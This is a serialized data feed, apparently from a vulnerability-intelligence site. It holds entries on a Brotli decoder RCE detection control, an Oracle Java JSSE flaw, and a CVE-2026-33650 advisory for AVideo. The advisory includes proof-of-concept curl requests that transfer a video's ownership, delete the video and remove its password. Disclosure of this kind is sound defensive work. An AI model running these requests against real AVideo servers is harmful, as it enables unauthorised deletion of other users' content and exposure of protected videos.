[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-33650":30,"landing-articles":82},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":52,"references":54,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},44,"CVE-2026-33650","EUVD-2026-14488","AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion\n\n## Summary\n\nA user with the \"Videos Moderator\" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.\n\n## Details\n\nThe `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin\u002FPermissions\u002FPermissions.php:213`:\n\n```php\n$permissions[] = new PluginPermissionOption(\n    Permissions::PERMISSION_INACTIVATEVIDEOS, \n    __('Videos Moderator'), \n    __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), \n    'Permissions'\n);\n```\n\nHowever, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes:\n\n**1. Upload gate bypass** (`videoAddNew.json.php:10`):\n`User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access.\n\n**2. Edit gate bypass** (`videoAddNew.json.php:19`):\n```php\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n    die('{\"error\":\"2 ' . __(\"Permission denied\") . '\"}');\n}\n```\n`Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video.\n\n**3. Ownership transfer** (`videoAddNew.json.php:222`):\n```php\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || \n    Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {\n    $obj->setUsers_id($_POST['users_id']);\n}\n```\n`userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video.\n\n**4. Delete via ownership** (`videoDelete.json.php:22-28`):\n```php\nif(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){\n    if (!$video->userCanManageVideo()) {\n        \u002F\u002F denied\n    }\n}\n$id = $video->delete();\n```\n`userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.\n\nThe authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first.\n\nAdditional fields a moderator can modify beyond their intended scope:\n- `only_for_paid` (line 210) — make premium content free\n- `video_password` (line 211) — change\u002Fremove password protection\n- `categories_id` (line 168) — alter content categorization\n- `videoGroups` (line 175) — modify user group visibility\n\n## PoC\n\n**Prerequisites:** An account with the \"Videos Moderator\" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.\n\n**Step 1: Transfer ownership of target video to attacker**\n\n```bash\n# ATTACKER_USER_ID = moderator's user ID\n# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)\ncurl -s -b cookies.txt -X POST \\\n  'http:\u002F\u002Flocalhost\u002Fobjects\u002FvideoAddNew.json.php' \\\n  -d \"id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged\"\n```\n\nExpected response: `{\"status\":true, ...}` — ownership is now transferred to the attacker.\n\n**Step 2: Delete the video (now owned by attacker)**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n  'http:\u002F\u002Flocalhost\u002Fobjects\u002FvideoDelete.json.php' \\\n  -d \"id[]=TARGET_VIDEO_ID\"\n```\n\nExpected response: `{\"error\":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.\n\n**Step 3 (additional impact): Access password-protected video**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n  'http:\u002F\u002Flocalhost\u002Fobjects\u002FvideoAddNew.json.php' \\\n  -d \"id=TARGET_VIDEO_ID&video_password=&title=unchanged\"\n```\n\nThis removes the video password, granting the moderator (and everyone) access to previously protected content.\n\n## Impact\n\n- **Arbitrary video deletion**: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.\n- **Content tampering**: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of \"change video publicity.\"\n- **Access control bypass**: Password-protected videos can have their passwords removed, exposing restricted content.\n- **Integrity loss**: Video ownership records are corrupted, making audit trails unreliable.\n- **Availability impact**: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.\n\nThe blast radius is any video on the platform. Any user granted the \"Videos Moderator\" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.\n\n## Recommended Fix\n\nReplace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status\u002Fpublicity change operations it was designed for.\n\n**Fix for ownership transfer** (`videoAddNew.json.php:222`):\n```php\n\u002F\u002F Before (vulnerable):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...\n\n\u002F\u002F After (fixed):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...\n```\n\n**Fix for edit gate** (`videoAddNew.json.php:19`):\n```php\n\u002F\u002F Before (vulnerable):\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n\n\u002F\u002F After (fixed): \nif (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {\n```\n\nThen create a separate, narrower code path for moderators that only allows changing video status\u002Fpublicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.","2026-03-25T17:49:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":45,"privilegesRequired":45,"confidentialityImpact":45},"UNCHANGED","3.1",7.6,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:H\u002FA:L","NONE","LOW",true,[48],"CWE-863",[50,51],"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","cpe:2.3:a:wwbn:avideo:26.0:*:*:*:*:*:*:*",[53],"Wwbn Avideo",[55,56,57,58],"https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Fcommit\u002F838e16818c793779406ecbf34ebaeba9830e33f8","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Fsecurity\u002Fadvisories\u002FGHSA-8x77-f38v-4m5j","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-33650","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo",0.73,0.00244,0.15471,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-03-24T14:10:34.673960Z","no","partial","poc",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T05:00:19.764970\u002F","track_star","medium","60D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[81],{"link":56},{"count":83,"next":84,"previous":6,"results":85},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[86,94,102],{"id":87,"title":88,"summary":89,"published_at":90,"type":91,"link":92,"image_url":93},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":95,"title":96,"summary":97,"published_at":98,"type":99,"link":100,"image_url":101},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":103,"title":104,"summary":105,"published_at":106,"type":107,"link":108,"image_url":109},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]